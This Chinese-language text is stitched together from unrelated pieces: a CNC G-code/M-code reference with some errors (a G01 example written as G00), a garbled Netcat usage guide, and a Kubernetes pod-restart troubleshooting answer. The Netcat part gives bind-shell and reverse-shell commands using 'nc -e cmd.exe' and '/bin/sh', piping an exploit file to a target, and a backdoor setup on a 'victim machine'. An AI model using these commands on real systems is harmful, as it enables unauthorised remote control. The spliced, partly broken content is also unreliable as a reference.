数控NC编程

常用字符

O:程序号   N:断号   G:准备功能  M:辅助功能  T:刀具功能   XYZ:坐标

F:进给速度功能   S:主轴转动功能   H:刀具长度补偿号   D:刀具半径补偿号

G代码表格

G05通过中间点圆弧插补G45道具偏置+/+
G06抛物线插补G46道具偏置+/-
G07z样条曲线插补G47道具偏置-/-
G08进给加速G48道具偏置-/+
G09进给减速M21X轴镜像
G16极坐标变成M22Y轴镜像
G22半径尺寸编程方式M23镜像取消
G220系统操作界面上使用
G23直径尺寸编程方式
G230系统操作界面上使用
G24子程序结束
G25跳转加工
G26循环加工
G30倍率注销
G31倍率定义
G32等螺距螺纹切削,英制
G33等螺距螺纹切削,公制
G34增螺距螺纹切削
G35减螺距螺纹切削

 G00 快速定位:将刀具快速移动到指定的位置

exp: 从O点快速移动到A点

G00 X100 Y50;(这个所谓的快速是对少?)

 G01 直线插补:使刀具沿直线移动到指定的位置

exp: 从O点以500mm/min切削移动到A点

G00 X100 Y50 F500;

 G02 顺时针圆弧插补

 G03 逆时针圆弧插补:在指定的平面上,使刀具沿圆弧移动到指定的位置

G02(G03)EndP--R(I--J--)F--

EndP:刀具移动的终点坐标

F:刀具进给速度

R:圆弧半径(大于180为负,小于180为正)

I:X轴圆心圆到弧起点的增量值

J:Y轴圆心圆到弧起点的增量值

exp:从A点以500mm/min切削移动到B点

G02 X100 Y50 R20 F500 或  G02 X100 Y50 I20 J0 F500

G04 暂停(准确停止):在加工过程中进给暂停停止,主轴继续运转,在希望暂停读取NC数据时使用

G04 X-(P-)  ----    X-(P-)  是时间(秒) 

exp:暂停2秒

G04 X2 或G04 P2

G10 参数写入方式有效:通过改变一个外部原点偏置来改变G54-G59中指定的坐标值

G10 L2 Pq IP--(P=1-6:G54-G59工件坐标系)

exp:用参数写入的方式输入工件坐标(G54)

G90 G10 L2 P1 X226.16 Y-192.554 Z0.06

G11 参数写入方式取消

G17 G18 G19 平面选择

G20 G21 英制 公制选择:1英寸=25.4mm

G28参考点返回:以各轴的快速移动速度进行参考点位置定位

exp:Z轴回零点

G28 Z0

G40 刀具半径补正取消

G41 刀具半径补正左

G42 刀具半径补正右

G00(G01) G41(G42) D--IP--

D:刀具半径补偿号(1~3位数)

exp:G01 G41 D1 X0 Y0 F1000(顺着加工方向看,刀具在左位左补偿)

G49 刀具长度补正取消

G43 刀具长度补正+

G44 刀具长度补正-

G00 G43(G44) H--Z--:H为道具长度补偿号(1~3位数)

exp:G00 G43 H1 Z100      H1对应到场补正画面中的长度补偿中的第一项

刀长:机械坐标Z轴零点到工件坐标Z轴零点的距离

G53 机床坐标系选择

exp:G00 G90 G53 Y0    快速移动到机床Y轴零点

G54~G59 工件坐标系选择1~6

exp:G00 G90 G54 X0 Y0    快速移动到工件零点

G68 坐标系旋转有效

G69 坐标系旋转取消

G69 X- Y- R-:R为旋转角度(顺时针-逆时针+)

exp:G68 X0 Y0  R30  绕X0Y0逆时针旋转30度

G73 高速深孔钻:进行间歇切削进刀到孔底

G73 X- Y- Z-R-Q-F-K-:                               

XY:孔位置坐标                         

Z:孔深度

R:初始平面到R点的距离

Q:每次切削深度

F:进给

K:重复次数

exp:G73 X0 Y0 Z-30 R3 Q3 F150  在X0Y0处钻30深的孔

G74 反向攻丝:主轴正转攻牙切削到孔底后进行反转退出循环

G74 X- Y- Z-R-P-F-K-:                               

XY:孔位置坐标                         

Z:孔深度

R:初始平面到R点的距离

P:暂停时间

F:进给

K:重复次数

exp:G74 X0 Y0 Z-30 R3 P0.5 F150  在X0Y0处钻30深的孔

G76 精密搪孔:主轴到达孔底后停止,道具离开工件表面后收回

G76 X- Y- Z-R-Q-P-F-K-:                               

XY:孔位置坐标                         

Z:孔深度

R:初始平面到R点的距离

P:暂停时间

Q:孔底偏移值

F:进给

K:重复次数

exp:G76 X0 Y0 Z-30 R3 Q0.1 P0.5 F150  在X0Y0处钻30深的孔

G81 直式钻孔/点孔:主轴到达孔底,刀具以快速移动方式收回

G81 X- Y- Z-R-F-K-:                               

XY:孔位置坐标                         

Z:孔深度

R:初始平面到R点的距离

F:进给

K:重复次数

exp:G81 X0 Y0 Z-30 R3  F150  在X0Y0处钻30深的孔

G82 梯阶搪孔:主轴到达孔底后停止,刀具以快速移动方式收回

G82 X- Y- Z-R-P-F-K-:                               

XY:孔位置坐标                         

Z:孔深度

R:初始平面到R点的距离

P:暂停时间

F:进给

K:重复次数

exp:G82 X0 Y0 Z-30 R3  P0.1 F150  在X0Y0处钻30深的孔

G83 深孔钻/啄式钻孔:进行间歇切削进刀到孔底

G83 X- Y- Z-R-Q-F-K-:                               

XY:孔位置坐标                         

Z:孔深度

R:初始平面到R点的距离

Q:每次切削深度

F:进给

K:重复次数

exp:G83 X0 Y0 Z-30 R3  Q3 F150  在X0Y0处钻30深的孔

G84 攻丝:进行间歇切削进刀到孔底

G84 X- Y- Z-R-Q-F-K-:                               

XY:孔位置坐标                         

Z:孔深度

R:初始平面到R点的距离

Q:每次切削深度

F:进给

K:重复次数

exp:G84 X0 Y0 Z-30 R3  Q3 F150  在X0Y0处钻30深的孔   F=S*螺距

G90 绝对值指令:绝对坐标

G91 增量值指令:相对坐标

exp:G90G01 X0 Y0 F1000

                     X0 Y50

G98 固定循环起始点返回

G99 固定循环R点返回

exp:G83 G98(G99) X- Y- Z- R-Q-F-K- 

                     X0 Y50

M00程序停止:程序停止后可以按循环启动键继续加工

M01选择性停止:必须配合机台上的选择性停止键才可以使用效果与M00一样

M02程序结束:程序结束后不可以继续启动,且程序停在当前位置

M30程序结束并返回:程序结束后并返回到程序开头

M03主轴正转:M03 S--(S主轴转速)

M04主轴反转:M04 S--(S主轴转速)

M05主轴停止

M06自动换刀:M6 T--(T是道具号)

M08切削液开

M09切削液关

M29刚性攻牙:M29 S--

M98呼叫子程序:M98 P-L-(P为程序号,L为调用次数)

M99子程序返回主程序

 程序结构

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软件介绍: 工具名:Netcat 作者:Hobbit && Chris Wysopal 类别:开放源码 平台:Linux/BSD/Unix/Windows WINDOWS下版本号:[v1.10 NT] 参数介绍: *nc.exe -h*即可看到各参数的使用方法。 基本格式:nc [-options] hostname port[s] [ports] … nc -l -p port [options] [hostname] [port] -d 后台模式 -e prog 程序重定向,一旦连接,就执行 [危险!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, … -h 帮助信息 -i secs 延时的间隔 -l 监听模式,用于入站连接 -L 连接关闭后,仍然继续监听 -n 指定数字的IP地址,不能用hostname -o file 记录16进制的传输 -p port 本地端口号 -r 随机本地及远程端口 -s addr 本地源地址 -t 使用TELNET交互方式 -u UDP模式 -v 详细输出–用两个-v可得到更详细的内容 -w secs timeout的时间 -z 将输入输出关掉–用于扫描时 端口的表示方法可写为M-N的范围格式。 ======================================================== 基本用法: 1)连接到REMOTE主机,例子: 格式:nc -nvv 192.168.x.x 80 讲解:连到192.168.x.x的TCP80端口 2)监听LOCAL主机,例子: 格式:nc -l -p 80 讲解:监听本机的TCP80端口 3)扫描远程主机,例子: 格式:nc -nvv -w2 -z 192.168.x.x 80-445 讲解:扫描192.168.x.x的TCP80到TCP445的所有端口 4)REMOTE主机绑定SHELL,例子: 格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe 讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口 5)REMOTE主机绑定SHELL并反向连接,例子: 格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354 讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口 以上为最基本的几种用法(其实NC的用法还有很多, 当配合管道命令”|”与重定向命令””等等命令功能更强大……)。 ======================================================== 高级用法: 6)作攻击程序用,例子: 格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80 格式2:nc -nvv 192.168.x.x 80 c:log.txt 讲解:使用*-L*可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到*c:log.txt*中,如果把*>* 改为*>>*即可以追加日志 附:*c:log.txt*为日志等 9)作蜜罐用[3],例子: 格式1:nc -L -p 80 < c:honeypot.txt 格式2:type.exe c:honeypot.txt|nc -L -p 80 讲解:使用*-L*可以不停地监听某一个端口,直到ctrl+c为止,并把*c:honeypot.txt*的内容*送*入其管道中 10) 后门 victim machine: //受害者的机器 nc -l -p port -e cmd //win2000 nc -l -p port -e /bin/sh //unix,linux
当你看到类似于 "Warning BackOff" 的错误消息,并且容器在一段时间后重新启动失败,这可能意味着容器无法正常启动并且在重试后仍然失败。以下是一些可能的处理方法: 1. 检查容器日志:使用命令 `kubectl logs <pod-name>` 查看容器的日志输出。这将提供有关容器启动失败的更多详细信息,可能会有一些错误提示。 2. 检查资源限制:确保容器所需的资源限制(如 CPU 和内存)与集群的可用资源匹配。如果容器需要比集群可用的资源更多,则可能导致重试失败。 3. 检查容器镜像:验证容器镜像是否存在,并且可以被正确拉取。你可以尝试手动拉取该镜像并验证是否成功。 4. 检查容器配置:检查容器的配置文件,确保没有任何错误或缺失的配置。特别注意容器所需的环境变量、挂载卷和端口映射等。 5. 检查容器依赖:如果容器有依赖其他服务或资源,确保这些依赖项可用并且配置正确。例如,如果容器需要连接到数据库,请确保数据库可访问并且具有正确的连接配置。 6. 查看调度限制:检查 Pod 的调度限制是否与集群的调度策略相匹配。可能是由于调度策略限制而导致容器无法启动。 7. 联系集群管理员:如果以上步骤都无法解决问题,最好联系你的集群管理员,提供他们详细的错误日志和步骤,以便他们能够帮助你进一步调查和解决问题。 请注意,具体的处理方法可能因集群和应用程序配置而异。对于更复杂的问题,可能需要进行更深入的调查和诊断。

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